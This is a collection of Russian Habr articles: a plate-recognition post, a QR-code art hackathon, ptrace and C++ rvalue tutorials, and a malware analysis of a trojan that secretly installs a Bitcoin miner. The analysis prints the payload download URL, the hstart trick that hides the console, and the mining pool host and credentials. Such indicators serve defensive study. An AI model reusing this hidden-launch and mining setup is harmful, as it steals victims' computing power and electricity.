По-моему, комментировать тут особенно нечего. HttpPost файла и HttpPost двух текстовых строк.
Не забывайте, что в условиях использования мобильного интернета, приходится отправлять область с предварительно обнаруженным номером с помощью каскадного детектора Хаара.
Пример кода выделения Хааром с помощью OpenCV на Android Java:
```
//Детектирование каскадом Хаара номера
if (mJavaDetector != null)
mJavaDetector.detectMultiScale(temp, faces, 1.1, 10, 5,
new Size(70, 21), new Size(500,150));
//Если нашлось
Rect[] facesArray = faces.toArray();
for (int i = 0; i < facesArray.length; i++)
{
DetectedNum = new Mat();
IsNumDetected=true;
//Новая рамка с чуть большими границами
int dW=facesArra[i].width/5; // расширяем рамку по X на 20%
int dH=facesArray[i].height*3/10; //по Y на 30%
int left = Math.max(facesArray[i].x-dW/2,0);
int top = Math.max(facesArray[i].y-dH/2,0);
int right = facesArray[i].x+facesArray[i].width+dW/2; if(right>temp.width())right=temp.width()-1;
int bottom = facesArray[i].y+facesArray[i].height+dH/2; if(bottom>temp.height())bottom=temp.height()-1;
//Отправка на сервер данного куска
DetectedNum = temp.submat(BiggerRect).clone();
}
```
Здесь заметьте важную мелочь: после детектирования прямоугольника номера его границы несколько расширяются, т. к. детектор с некоторой вероятностью может ошибаться с масштабом.
И по просьбе трудящихся добавили http заход на функцию поиска и распознавания номера в целом кадре: 212.116.121.70:10000/uploadimage
В ответ получите список найденных номеров и некий критерий качества распознавания по каждому (больше — лучше):
x000xx99 90%
a111aa197 75%
строки разделены "\r\n"
Найдено 2 номера, первый более качественный (90%), второй менее (75%).
Теперь можно не выделять хааром изображение, а сразу все изображение отправлять целиком. Так проще организовать автоматическое тестирование алгоритмов.
На других платформах код должен получаться не намного сложнее.
#### Несколько слов о трех днях полета сервера распознавания номеров
Программу на Android для ругани на автомобили Recognitor мы выложили 13 мая. У меня чувства смешанные: от гордости от того, что оно работает, до сжигающего стыда за случающиеся ошибки в алгоритме распознавания, когда прямо на глазах приходит чистый четкий номер, но пользователю возвращается абракадабра.
Количество отправленных на сервер изображений: 1700
Из них оказалось номерами РФ: 1370
Количество распознанных: 830
(с точностью до 10ти указано)
Вот тут стоит отдельно пояснить «из них оказалось номерами РФ». Мы не учли, что хабр хорошо читают на территории СНГ и нигде не указали, что номера должны быть РФ. Естественно, сюда же относятся и ошибки не идеально обученного каскадного детектора, который часто ошибался в непривычной ситуации съемки с монитора. И было несколько десятков зеркально отраженных номеров, т. е. пользователь не выбрал в меню “Flip”. Также ну очень сильно размазанные (не читаемые глазами) я тоже отнес сюда.
В промежуточном итоге результат не фантастический, мы сделали выводы, уже выпустили 2 обновления Android программы, поправив косяки и дав пользователю новую волшебную функцию выделения области номера пальцем. Изменили алгоритмы на сервере. О том, что интересного мы поменяли в самих алгоритмах, в моей следующей статье (воспользовались парой альтернативных методов из предыдущей моей [статьи](http://habrahabr.ru/post/221891/)).
Но, не смотря на не идеальную работу, пользователям приложение пришлось по душе! Оценки в GooglePlay радовали.
И да, конечно, поощрим бесспорных победителей:
P494KE\_197 — обозван 226 раз (конечно, это [ZlodeiBaal](https://habrahabr.ru/users/zlodeibaal/))
X777XX\_77 – обозван 21 раз (в топе запроса яндекса на запрос «номера»)
Даже поймали A362MP\_97, А231МР\_97 и А869МР\_97 (возможно, тоже из интернета).
##### Удачи
Вообще, алгоритм обучался на очень грязных зимних номерах (и парадоксально не всегда устойчиво работает на чистых), поэтому тут то его преимущества и стоит поискать. И да, действительно, часто размытые и весьма грязные номера удавалось распознать:
Ссылки:
[Часть 1](http://habrahabr.ru/post/221891/)
[Часть 2](http://habrahabr.ru/post/222539/)
[Обновленные исходники Android-проекта](https://github.com/ZlodeiBaal/Recognitor)
**Update:**
1) Оказывается, обученный каскад нами на российские автомобильные номера был замержин в [основную версию OpenCV](https://github.com/Itseez/opencv/tree/master/data/haarcascades)
2) при предварительном выделении номера ожидали картинки довольно больших размеров в uploadimage, сейчас поправил, все приводится к одному масштабу. Должно заработать и на мелких картинках из интернета. | https://habr.com/ru/post/223441/ | null | ru | null |
# Троян, использующий вычислительные мощности ПК для генерации Bitcoin
Случилось мне вчера привезти из командировки один троянчик, **Trojan.Win32.Powp.rdf** (по классификации ЛК). Там я его победил, но флэшки он мне успел позаражать. Чтоб добро зря не проподало, решил поковырять его на досуге.
С наименованием зловредов у ЛК, как всегда, оказалось не все хорошо, он относится скорее к классу Trojan-Downloader, т.к. основная задача — скачка файлов с *fileave.com*. Поставил на виртуалку поиграться, среди кучи заурядного вредоносного хлама, закачиваемого им на машину, я обратил внимание на один sfx-архив и как оказалось не зря…
По ссылке *http\_://pasic.fileave.com/BTxDEF.exe* скачался самораспаковывающийся архив.
Смотрим, что же внутри…
А внутри у нас программка [Hidden Start 3.2](http://www.ntwind.com/software/utilities/hstart.html) (hstart.exe), которая запускается скриптом архива, с параметром `/NOCONSOLE test.bat`, что позволяет скрытно выполнить test.bat.
Смотрим, что у нас в батнике…
Пока ничего не понятно, хотя ***btc.mobinil.biz*** уже наводит на некоторые мысли. Остался последний файл — taskmgr.exe, который, видимо, усиленно косит под Диспетчер задач Windows.
Опаньки! Файл оказывается **BitCoin Miner**'ом, предназначенным для генерации биткоинов. Батник запускает его с параметрами:
`bitcoin-miner [-a seconds] [-g|l yes|no] [-t threads] [-v] [-o url] [-x proxy] -u user -p password`,
где
`-a #seconds# time between getwork requests 1..60, default 15
-g yes|no set 'no' to disable GPU, default 'yes'
-h this help -l yes|no set 'no' to disable Long-Polling, default 'yes'
-t #threads# Number of threads for CPU mining, by default is number of CPUs (Cores), 0 - disable CPU mining
-v Verbose output
-o url in form server.tld:port/path, by default 127.0.0.1:8332
-x type=host:port Use HTTP or SOCKS proxy.
Thread number should be 0..32`
Итак, таймаут — 5 секунд, url — [btc.mobinil.biz](http://btc.mobinil.biz):8332/, user — redem\_guild, pass — redem, 2 потока.
При наличии интернета BitCoin Miner начинает усиленно трудиться на благо неизвестного…
Вот так вот, теперь уже и вычислительные мощности компьютеров стали приносить доход киберпреступникам. Пользователь платит не только за трафик ботнета, к примеру, но и за электроэнергию, а денежки капают дяде на другом конце света :)
#### P.S.
Самое интересное, что обе программы из архива легитимные, а трояном можно считать разве что батник, запускающий все это хозяйство… KIS 2011 детектит архив целиком, с помощью KSN, без имени.
#### Upd
Теперь он маскируется под svchost.exe. [Некоторые](http://www.virustotal.com/file-scan/report.html?id=f17b0fa7d99bf4cf6f47f82ad3b2c6f7fbb5e4b0db49c5fcf06b54fa9c3c97b6-1309745126) антивирусы стали детектить батник внутри архива как вредоносный. | https://habr.com/ru/post/123244/ | null | ru | null |
# Ох уж эти QR коды
Пандемия, осеннее обострение, зима близко и QR коды на каждом шагу, роботы наступают, рутина работы затягивает. Хочешь покушать — покажи картинку. Скучную и квадратную, для робота, не для человека. Только единицы могут ее [читать](https://habr.com/ru/post/127197/), и только избранные [рисовать](https://habr.com/ru/post/589869/). Вон на прошлой неделе как хабр qr кодом бомбануло!
---
**Идея**
А что если оживить и “очеловечить” QR код, сделать его не только для робота, но и для человека? Такая мысль мне не приходила, до тех пор пока я не наткнулся на статью про [генерацию фотомозаик в виде QR кодов](https://www.mdpi.com/2227-7390/8/9/1613), наткнулся совершенно случайно, в процессе изучения вопроса генерации изображений для приложения по [расчету параметров для варки пива](https://www.brewcomputer.com/). “QR кодная Мона Лиза” из этой статьи меня покорила своей причастностью к текущим реалиям.
Moza ЛизаИ появилась идея. А если есть идея, то можно быстро сделать вечерний спайк на коленке и проверить ее работоспособность - “тыж программист”. Увы, спайк получился так себе, QR код читался через раз и выглядел отвратно, но идея не отпускала. Уж очень хотелось взять этот скучный ковидный QR код и сделать его прикольным, чтобы люди проверяющие его в кафе или торговом центре улыбнулись и настроение их улучшилось.
Так вечерний спайк превратился в ночной ресерч. И к утру, я нашел две вещи достойные внимания и работы над ними. Это были “[halftone qr codes](http://vecg.cs.ucl.ac.uk/Projects/SmartGeometry/halftone_QR/paper_docs/halftoneQR_sigga13.pdf)” и “[Aesthetic](https://arxiv.org/pdf/1803.01146.pdf) [QR codes](https://arxiv.org/pdf/1803.02280.pdf)”. А еще перелопатил кучу коммерчески успешных приложений которые умеют рисовать QR по всякому: рисуют классно, красиво, стабильно и… скучно.
**Реализация день первый**
Так я предложил коллеге по работе устроить крафтовый хакатон выходного дня, отпроситься у домашних, отложить все дела, засесть в, ставшем уже родным, офисе и покодить неведомую фигню на стеке который сами выберем.
Мы выбрали [Next.js](https://nextjs.org/) от Vercel. Так как на [React](https://reactjs.org/) уже что-то писали и очень хотелось пощупать как работает их реализация serverless, а еще хотелось ощутить степень интеграции с гитхабом и прочие неведомые плюшки. Так же рассматривали возможность сделать нативные приложения используя react-native, но вовремя поняли, что за выходные этого не реализовать, а веб приложение всегда можно поместить на рабочий стол в пару тачей.
yarn create next-appНазвание родилось быстро, сошлись на QRART, Мона Лиза сыграла в этом не последнюю роль, да и pixel ART тоже проходил рядом. Купили домен и проксировали его через [cloudflare](https://cloudflare.com/) на проект в vercel, для того чтобы еще на уровне dns отсечь ботов и всякую агрессивную нечисть. Проксирование оказалось очень простым и как приятное дополнение мы получили бесплатный https из коробки. Оказалось что можно не поднимать сервачок с убунтой, и не шаманить с letsencrypt, certbot-том и апачем. Что все просто работает, фактически на острие технологий.
За первую половину дня мы напилили спайк, который брал урл, превращал его в qr код используя библиотеку [qrcode-generator в npm](https://www.npmjs.com/package/qrcode-generator) и отрисовывал на [канвас](https://www.npmjs.com/package/canvas) результат.
Технически идея и реализация получилась простая. Мы делаем картинку в градациях серого и поверх нее рисуем точки или по правильному модули QR кода, по факту точки черного и белого цвета. По умолчанию мы используем средний уровень коррекции ошибок, в котором можно восстановить 15 процентов информации. А размер QR кода 6, это значит что в нем будет 41 модуль или точка, такой размер лучше всего подходит для визуального представления картинок. Конечно есть ограничения по размеру данных, но ссылка с ГосУслуг влезает. Вот тут можно посмотреть [таблицу вместимости.](https://kazuhikoarase.github.io/qrcode-generator/js/demo/)
Дальше лучше в демке смотреть.Локально все работало просто прекрасно, и мы попробовали задеплоить в облако. И обломались, оказалось что с 2019 года vercel [не может подружить библиотеки канваса с лямбдами](https://github.com/vercel/vercel/issues/3460). Добро пожаловать в мир серверлесс. Ну ничего, ничего, поставили подпорку - все заработало, хакатон как-никак.
Ближе к концу первого дня у нас было приложение которое умело генерить QR код по урлу или тексту, и сращивать его с картинкой, которую предварительно мы переводили в оттенки серого. Спайк работал.
Захотелось локализацию и в Next она есть из коробки, да еще и с определением локалей, что очень и очень удобно. Называется это [i18n-routing](https://nextjs.org/docs/advanced-features/i18n-routing).
UI нашего спайка выглядел не особо, да и мы не дизайнеры. Но мы очень любим игры, старенькие nes’совские. И оказалось, есть готовая библиотека [NES.css](https://nostalgic-css.github.io/NES.css/), которая стала фундаментом в дизайне нашего приложения и сэкономила кучу времени.
NES ностальгияЕще захотелось добавить шаринг во все что можно, для этого мы использовали [addthis](https://www.addthis.com/), но мы не смогли добавить его в Next на уровне кода. Причину искать долго не стали. А просто использовали [cloudflare apps](https://www.cloudflare.com/apps/) и добавили addthis не через код. И оно работает, что удивительно. (Кстати, кто знает напишите, этот гад посылает запрос, но ничего не отрисовывает. Или подскажите в комментах хорошую альтернативу для шаринга)
Расшарить во все!Для аналитики мы взяли [plausible.io](https://plausible.io/) это легковесное решение, которое пилят два разработчика и она тоже серверлесс. Но можно и у себя развернуть на большом, настоящем, железном сервачке.
В итоге первого дня разработки у нас было локализованное на два языка приложение, которое выглядело не отвратно, и даже минимально работало. Был выстроен удобный “пайплайн” разработки благодаря интеграции Vercel проекта с репозиторием и деплоем в прод по коммиту в мастер.
А еще был план на следующий день. Который мы просто записали в readme репозитория, да и весь TODO вели там же в одном файлике. Без трелл, планнеров джир и прочих сложных энтерпрайз штуковин.
**Реализация день второй**
В первый день работы над приложением мы реально кайфанули от разработки и прощупывания стека технологий, даже проблема с канвасом (которую не могут решить с 2019 года sic!) казалась не ущербностью, а просто технической недоработкой, на которую можно закрыть глаза.
На второй день было запланировано сделать галерею шаблонов для QR кода, генерацию из любой картинки. Сохранение как png, шаринг готовой картинки и, может быть, считывание готового QR кода и генерация нового с картинкой. А еще нужно было сделать редирект писем на личную почту с доменной.
С редиректа и стартовали. И тут выяснился интересный момент, что [forwardemail](https://forwardemail.net/) который я успешно использовал для нескольких проектов, не заработал в связке с cloudflare и vercel. А [improvmx.com](https://improvmx.com/) заработал без вопросов. Почему так? Мы, следуя выбранной парадигме хакатона - "работает не трогай", исследовать не стали.
Галерею сделали из стандартного пакета [react-image-gallery](https://www.npmjs.com/package/react-image-gallery), тут все прошло гладко.
Котиков мало не бывает!А вот с генерацией из загружаемой картинки пришлось повозиться. Момент в том что создание QR кодов происходит на сервере, и туда нужно эту картинку передать. По хорошему для этого нужно делать multipart запрос и передавать картинку. Обычно это делают в миделваре для next api routes. Но, хакатон же. В итоге, мы жмем картинку на клиенте и отправляем ее на сервер как json.
Не, ну а чо?А обработанный результат складываем в [DO spaces](https://www.digitalocean.com/products/spaces/), конечно тут можно было взять хранилище от Amazon. Но под рукой оказался DO, тем более что он просто проксирует Amazon.
В завершении дня мы нашли и починили баг созданием QR кода в котором есть киррилица. Код создавался, но считывалась какая-то ерунда. Оказалось нужно прописать использование многобайтовой кодировки. Одна строчка кода и столько радости, что русский язык заработал:
```
qrcode.stringToBytes = qrcode.stringToBytesFuncs['UTF-8']
```
**Результат**
От второго дня нашего крафтового хакатона мы тоже остались очень довольны. И даже пофантазировали над фичами которые можно еще сделать - цветные qr коды, как это делает [visualead](https://www.visualead.com/), коды из мозаик, аналитика для qr кодов и многое многое другое.
Даже была идея открыть код, но там сейчас все довольно страшненько написано. Сейчас это скорее спайк, без тестов, без документации и с некоторыми явными костылями. И путь от спайка к настоящему продукту долог.
Главный результат в том, что мы получили кучу положительных эмоций от этих двух дней разработки. Мы можем точно сказать что выбранный нами стек отлично подходит для прототипирования приложений и его можно использовать.
Будем рады, если и вам понравится наш эксперимент.
Mono ЛизаА еще я успел написать статью которую вы сейчас прочитали. Мона Лиза прилагается и улыбается вам сквозь время и пиксели. Спасибо!
PS после публикации выяснилось что есть целое направление искусства, которое занимается созданием красивых QR кодов. И называется оно quick response art. И уже есть реализации генераторов, которые делают коды круто и красиво. Например библиотека [amazing-qr](https://github.com/x-hw/amazing-qr). Скорее всего есть еще решения и сервисы. Буду вести и пополнять список под статьей.
[amazing-qr](https://github.com/x-hw/amazing-qr) - Python QR Code Generator GPLv3 | https://habr.com/ru/post/590587/ | null | ru | null |
# Приключения с ptrace(2)
 На Хабре уже [писали](https://habr.com/ru/post/111266/) про перехват системных вызовов с помощью `ptrace`; Алекса написал про это намного более развёрнутый пост, который я решил перевести.
---
### С чего начать
Общение между отлаживаемой программой и отладчиком происходит при помощи сигналов. Это существенно усложняет и без того непростые вещи; ради развлечения можете прочесть [раздел BUGS](http://man7.org/linux/man-pages/man2/ptrace.2.html#BUGS) в `man ptrace`.
Есть как минимум два разных способа начать отладку:
1. `ptrace(PTRACE_TRACEME, 0, NULL, NULL)` сделает родителя текущего процесса отладчиком для него. Никакого содействия от родителя при этом не требуется; `man` ненавязчиво советует: *«A process probably shouldn't make this request if its parent isn't expecting to trace it.»* (Где-нибудь ещё в манах вы видели фразу *«probably shouldn't»*?) Если у текущего процесса уже был отладчик, то вызов не удастся.
2. `ptrace(PTRACE_ATTACH, pid, NULL, NULL)` сделает текущий процесс отладчиком для `pid`. Если у `pid` уже был отладчик, то вызов не удастся. Отлаживаемому процессу шлётся `SIGSTOP`, и он не продолжит работу, пока отладчик его не «разморозит».
Эти два метода полностью независимы; можно пользоваться либо одним, либо другим, но нет никакого смысла их сочетать. Важно отметить, что `PTRACE_ATTACH` действует не мгновенно: после вызова `ptrace(PTRACE_ATTACH)`, как правило, следует вызов `waitpid(2)`, чтобы дождаться, пока `PTRACE_ATTACH` «сработает».
Запустить дочерний процесс под отладкой при помощи `PTRACE_TRACEME` можно следующим образом:
```
static void tracee(int argc, char **argv)
{
if (ptrace(PTRACE_TRACEME, 0, NULL, NULL) < 0)
die("child: ptrace(traceme) failed: %m");
/* Остановиться и дождаться, пока отладчик отреагирует. */
if (raise(SIGSTOP))
die("child: raise(SIGSTOP) failed: %m");
/* Запустить процесс. */
execvp(argv[0], argv);
/* Сюда выполнение дойти не должно. */
die("tracee start failed: %m");
}
static void tracer(pid_t pid)
{
int status = 0;
/* Дождаться, пока дочерний процесс сделает нас своим отладчиком. */
if (waitpid(pid, &status, 0) < 0)
die("waitpid failed: %m");
if (!WIFSTOPPED(status) || WSTOPSIG(status) != SIGSTOP) {
kill(pid, SIGKILL);
die("tracer: unexpected wait status: %x", status);
}
/* Если требуются дополнительные опции для ptrace, их можно задать здесь. */
/*
* Обратите внимание, что в предшествующем коде нигде
* не указывается, что мы собирается отлаживать дочерний процесс.
* Это не ошибка -- таков API у ptrace!
*/
/* Начиная с этого момента можно использовать PTRACE_SYSCALL. */
}
/* (argc, argv) -- аргументы для дочернего процесса, который мы собираемся отлаживать. */
void shim_ptrace(int argc, char **argv)
{
pid_t pid = fork();
if (pid < 0)
die("couldn't fork: %m");
else if (pid == 0)
tracee(argc, argv);
else
tracer(pid);
die("should never be reached");
}
```
Без вызова `raise(SIGSTOP)` могло бы оказаться, что `execvp(3)` выполнится раньше, чем родительский процесс будет к этому готов; и тогда действия отладчика (например, перехват системных вызовов) начнутся не с начала выполнения процесса.
Когда отладка начата, то каждый вызов `ptrace(PTRACE_SYSCALL, pid, NULL, NULL)` будет «размораживать» отлаживаемый процесс до первого входа в системный вызов, а потом — до выхода из системного вызова.
### Телекинетический ассемблер
`ptrace(PTRACE_SYSCALL)` не возвращает отладчику **никакой** информации; он просто обещает, что отлаживаемый процесс дважды остановится при каждом системном вызове. Чтобы получать информацию о том, что происходит с отлаживаемым процессом — например, в каком именно системном вызове он остановился — нужно лезть в копию его регистров, сохранённую ядром в `struct user` в формате, зависящем от конкретной архитектуры. (Например, на x86\_64 номер вызова будет в поле `regs.orig_rax`, первый переданный параметр — в `regs.rdi`, и т.д.) Алекса комментирует: «ощущение, как будто пишешь на Си ассемблерный код, работающий с регистрами удалённого процессора».
Вместо структуры, описанной в `sys/user.h`, может быть удобнее пользоваться константами-индексами, определёнными в `sys/reg.h`:
```
#include
/\* Получить номер системного вызова. \*/
long ptrace\_syscall(pid\_t pid)
{
#ifdef \_\_x86\_64\_\_
return ptrace(PTRACE\_PEEKUSER, pid, sizeof(long)\*ORIG\_RAX);
#else
// ...
#endif
}
/\* Получить аргумент системного вызова по номеру. \*/
uintptr\_t ptrace\_argument(pid\_t pid, int arg)
{
#ifdef \_\_x86\_64\_\_
int reg = 0;
switch (arg) {
case 0:
reg = RDI;
break;
case 1:
reg = RSI;
break;
case 2:
reg = RDX;
break;
case 3:
reg = R10;
break;
case 4:
reg = R8;
break;
case 5:
reg = R9;
break;
}
return ptrace(PTRACE\_PEEKUSER, pid, sizeof(long) \* reg, NULL);
#else
// ...
#endif
}
```
При этом две остановки отлаживаемого процесса — на входе в системный вызов и на выходе из него — никак не различаются с точки зрения отладчика; так что отладчик должен сам помнить, в каком состоянии находится каждый из отлаживаемых процессов: если их несколько, то никто не гарантирует, что пара сигналов от одного процесса придёт подряд.
### Потомки
Одна из опций `ptrace`, а именно `PTRACE_O_TRACECLONE`, обеспечивает, что все дети отлаживаемого процесса будут автоматически браться под отладку в момент **выхода** из `fork(2)`. Дополнительный тонкий момент здесь в том, что потомки, взятые под отладку, становятся «псевдо-детьми» отладчика, и `waitpid` будет реагировать не только на остановку «непосредственных детей», но и на остановку отлаживаемых «псевдо-детей». Man предупреждает по этому поводу: *«Setting the WCONTINUED flag when calling waitpid(2) is not recommended: the “continued” state is per-process and consuming it can confuse the real parent of the tracee.»* — т.е. у «псевдо-детей» получается по два родителя, которые могут ждать их остановки. Для программиста отладчика это означает, что `waitpid(-1)` будет ждать остановки не только непосредственных детей, а любого из отлаживаемых процессов.
### Сигналы
*(Бонус-контент от переводчика: этой информации нет в англоязычной статье)*
Как уже было сказано в самом начале, общение между отлаживаемой программой и отладчиком происходит при помощи сигналов. Процесс получает `SIGSTOP` при подключении к нему отладчика, и затем `SIGTRAP` каждый раз, когда в отлаживаемом процессе происходит что-то «интересное» — например, системный вызов или получение внешнего сигнала. Отладчик, в свою очередь, получает `SIGCHLD` каждый раз, когда один из отлаживаемых процессов (не обязательно непосредственный ребёнок) «замерзает» или «размерзает».
«Разморозка» отлаживаемого процесса осуществляется вызовом `ptrace(PTRACE_SYSCALL)` (до первого сигнала либо системного вызова) либо `ptrace(PTRACE_CONT)` (до первого сигнала). Когда сигналы `SIGSTOP/SIGCONT` используются ещё и для целей, не связанных с отладкой, то с `ptrace` могут возникнуть проблемы: если отладчик «разморозит» отлаживаемый процесс, получивший `SIGSTOP`, то извне это будет выглядеть, как будто сигнал был проигнорирован; если же отладчик не станет «размораживать» отлаживаемый процесс, то и внешний `SIGCONT` не сможет его «разморозить».
Теперь самое интересное: Linux запрещает процессам [отлаживать самих себя](https://yarchive.net/comp/linux/ptrace_self_attach.html), но не препятствует созданию циклов, когда родитель и ребёнок отлаживают друг друга. В этом случае, когда один из процессов получает любой внешний сигнал, то он «замерзает» по `SIGTRAP` — тогда второму процессу шлётся `SIGCHLD`, и тот тоже «замерзает» по `SIGTRAP`. Вытащить таких «со-отладчиков» из дедлока невозможно посылкой `SIGCONT` извне; единственный способ — убить (`SIGKILL`) ребёнка, тогда родитель выйдет из-под отладки и «размёрзнет». (Если убивать родителя, то ребёнок умрёт вместе с ним.) Если же ребёнок включит опцию `PTRACE_O_EXITKILL`, то с его смертью умрёт и отлаживаемый им родитель.
Теперь вы знаете, как реализовать пару процессов, которые при получении любого сигнала оба зависают вечным сном, и умирают только вместе. Зачем это может быть нужно на практике, я пояснять не буду :-) | https://habr.com/ru/post/439882/ | null | ru | null |
# Подробное введение в rvalue-ссылки для тех, кому не хватило краткого
Вместо КДПВ — короткая драма для привлечения внимания, основанная на реальных событиях. Ее можно смело пропустить и перейти к статье, которая поможет вам разобраться в rvalue-ссылках, конструкторах перемещения, универсальных ссылках, идеальной передаче (perfect forwarding) и т. д.
Драма в трех действиях
======================
**Действие первое**
*Компилятор*. Локальный объект x типа T, проживающий на стеке, вы приговариваетесь к изъятию у вас всего имущества в связи с тем, что не будете пользоваться им до конца своей жизни.
*Объект x*. Что? Я не какой-то там временный объект, у меня постоянная регистрация, вы не имеете права!
*Компилятор*. Никто вас не выселяет. Но согласно одиннадцатой редакции стандартного кодекса, все ваши вещи будут переданы другому объекту, которому они нужны больше.
*Объект x*. И как вы это сделаете? Все мои данные надежно инкапсулированы, я не позволю никому бесцеремонно обращаться с ними. Если уж они так вам нужны, то пусть приходит конструктор копирования со своей флешкой, я ему скопирую.
*Конструктор*. Это долго и неэффективно.
*Объект x*. Может быть, вы собираетесь разбить мне окно reinterpret\_cast-ом, и шариться в темноте?
*Компилятор*. Нет-нет, ваш случай слишком заурядный, чтобы пользоваться услугами коллекторов. Мы просто вызовем функцию std::move, она наденет на вас static\_cast, и все будут думать, что вы являетесь временным объектом, то есть rvalue-выражением.
*Объект x*. Ну и что, static\_cast никак меня не затронет. Как только я доберусь до первой точки следования, я сниму его.
*Компилятор*. Не сомневаюсь, но раньше чем вы это сделаете, вы встретите конструктор перемещения, уже поджидающего за дверью. Кажется вы еще не успели с ним познакомиться...
**Действие второе**
*T(T&&)*. О, привет, временный объект!
*Объект x*. Не-не-не, я lvalue, просто на мне static\_cast.
*T(T&&)*. Все так говорят. Ну-ка, что у тебя есть? Давай сюда...
**Действие третье (эпилог)**
*T(const T&)*. Я что-то не в восторге от твоих насильственных методов.
*T(T&&)*. Ты преувеличиваешь, сам подумай, зачем умирающему объекту все это барахло? Если бы не было меня, ты бы долго делал копию, а сразу за тобой деструктор бы уничтожил оригинал. Глупо.
*T(const T&)*. Так может он не врал, и он не временный?
*T(T&&)*. Мне без разницы. Значит кто-то решил, что так надо. Все законно, я просто делаю свою работу.
*T(const T&)*. Но раньше же прекрасно справлялись без тебя. Как-то организовывали передачу и возврат, или выделяли объекту жилплощадь в динамической памяти. Да и компилятор помогал с оптимизацией.
*T(T&&)*. Да ну, вспомни всю эту бюрократию. Объект заселяли, потом запись о регистрации теряли и все, он там так и жил до конца, и не прогнать. Да хватит уже жалеть эти объекты, а то ты превратишься в моего братца T(const T&&) — тот еще более сердобольный. Я ему говорю: "Все, объект уже не жилец, забирай его пожитки", а он все мнется, мол неудобно, давай я просто скопирую.
*T(const T&)*. У меня тоже есть есть брат T(T&), самый настоящий бандит. Маскируется под меня, под конструктор копирования… *Дальше придумывать лень*.
Предисловие
===========
Новые концепции не всегда ровно укладываются в голове. У меня так произошло с rvalue-ссылками. Вроде все очень просто, ясны предпосылки их появления, но при попытке чтения кода, насыщенного различными &&, обернутыми в кучу шаблонов, понимаешь, что ничего, в общем-то, и не понимаешь.
Моя ошибка при изучении этой темы была в том, что я представлял rvalue-ссылки как принципиально новую сущность. Возможно это покажется вам странным, ведь во всех руководствах явно говорят, что это просто ссылка на rvalue. Это я понимал. Но ведь вместе с ними появилась куча новых понятий, типа универсальных ссылок и perfect forwarding. А еще, вызов функции, возвращающей &&, стал каким-то мистическим xvalue-выражением. Короче, было бы слишком просто считать их обычными ссылками.
Так вот, самое главное — не усложняйте! Если вы увидели `T&& ref = foo()`, и не знаете как теперь относиться к ref, то относитесь к нему как к старой-доброй константной ссылке на rvalue: `const T& ref = foo()`, только без const.
А почему нельзя было просто разрешить брать ссылку на rvalue? Иначе мы бы сразу теряли информацию о том, было ли выражение lvalue или rvalue. Сейчас же rvalue "предпочитает" быть переданным в функцию c аргументом T&&, а lvalue — с T&. Это дает нам возможность поступать с объектами по-разному, что особенно важно для реализации конструкторов копирования и перемещения.
Еще одна моя ошибка — проверка примеров в Visual Studio. Примеры в статьях, например `std::string &str = std::string("42")`, которые не должны компилироваться, у меня компилировались. Это происходило из-за нестандартного расширения языка от Visual Studio. Я еще буду говорить об этом, потому понимание такого поведения очень важно, если VS — ваша среда разработки.
Лучший способ чтения этой статьи — не верить мне, и все проверять самостоятельно. Советую в отладочной сборке. Если вы используете GCC, то будет неплохо ключом `-fno-elide-constructors` отключить технику Copy Elision, подавляющую вызов конструкторов копирования и перемещения там где можно. А если VS, то включите 4-й уровень предупреждений, для отлова использований нестандартного расширения.
Введение
========
При изучении rvalue-ссылок и конструкторов перемещения, часто можно встретить подобные примеры:
```
Matrix m = m1 * m2;
std::string s = s1 + s2;
std::vector primes = getAllMersennePrimes();
```
Временный объект копируется и сразу уничтожается. Это, конечно, явно избыточная операция, и работа конструктора перемещения здесь довольно наглядна. Однако, добавив конструктор перемещения в свой класс, вы можете не заметить ускорения. Ведь компилятор использует различные техники оптимизации, в частности Return Value Optimization, о которой мы немного поговорим в конце статьи. Я предлагаю следующий пример. Представим, что мы заполнили большой локальный вектор:
```
std::vector items(1000000);
fill(items);
```
В памяти он выглядит так (не будем переусложнять схему третьим указателем на конец зарезервированной памяти):
И хотим передать его некоторому объекту, через setter:
```
storage->setItems(items);
//далее items уже не нужен
```
Как было раньше: вектор передавался по константной ссылке (что позволяло использовать и lvalue и rvalue), а затем вызывался конструктор копирования, который создавал такой же большой вектор. А оригинал удалялся только после выхода из области видимости. Хотя хотелось бы просто передать новому вектору указатель на данные:
Сейчас это легко:
```
std::vector items(1000000);
fill(items);
storage->setItems(std::move(items));
//далее items уже не нужен
```
А в методе setItems:
```
Storage::setItems(std::vector items)
{
items\_ = std::move(items);
}
```
Обратите внимание, что вектор передается по значению, что обеспечивает копирование для lvalue и перемещение для rvalue (в частности временных объектов). Таким образом, если локальный вектор вам еще нужен, то просто вызывайте setItems без std::move. Небольшой накладной расход в том, что аргумент еще раз перемещается с помощью оператора перемещения.
Инициализация
=============
Все что нам нужно сделать, чтобы разобраться со всеми концепциями — сфокусировать внимание на различных способах инициализации. Это может быть инициализация переменной:
```
T x = expr;
//или
T x(expr);
```
Передача аргумента:
```
void foo(T x);
foo(expr);
```
Возврат значения:
```
T bar()
{
return expr;
}
```
Все эти случаи будем называть инициализацией, так как они семантически идентичны. Затем рассмотрим тип `T`. Он может быть одим из следующих:
* бессылочным типом (A)
* lvalue-ссылкой (A&)
* rvalue-ссылкой (A&&)
Уточню, что тип с указателем тоже относится к одному из них. Например, `A*` — это бессылочный тип, `A*&` — lvalue-ссылка, и т.д. Далее обратим внимание на выражение `expr`. Выражение имеет тип и категорию значения (rvalue или lvalue). Тип выражения для нас будет не так важен, как можно было бы подумать. В данной теме основную роль играет категория значения выражения: rvalue или lvalue, которую для краткости будем называть категорией выражения.
Таким образом, у нас слева 3 варианта, справа 2. Итого 6. Прежде чем рассматривать их подробнее, научимся определять категорию.
Категория значения выражения
============================
lvalue и rvalue
---------------
До c++11 существовали только эти 2 категории. С появлением move-семантики категория rvalue разбилась еще на 2 категории, о которых мы поговорим в следующем подразделе. Итак, категория каждого выражения является либо lvalue либо rvalue. Стандарт, конечно, описывает, что относится к каждому из них, но читать его сложно.
Скотт Майерс предлагает следующие правила:
* Если возможно взять адрес выражения, то оно lvalue.
* Иначе, если тип выражения является lvalue-ссылкой (т. е. T& или const T& и т.п.), то оно так же lvalue.
* В противном случае, выражение — rvalue.
Мне они не очень нравятся, так как они нестрогие, и существует много тонкостей, которые иногда меняются. И, самое главное, при изучении темы, как я могу понять, можно ли взять адрес? Ну, хорошо, мы знаем, что у временного объекта нельзя. А у `str`?
```
std::string &&str = std::string("Hello");
std::string *psrt = &str
```
Выясняется, что да, можно, так как `str` — lvalue, хотя его тип rvalue-ссылка. Запомните, это важно.
Если нужно, я обращаюсь к [cppreference: value category](http://en.cppreference.com/w/cpp/language/value_category), где приведен перечень выражений. Некоторые примеры оттуда:
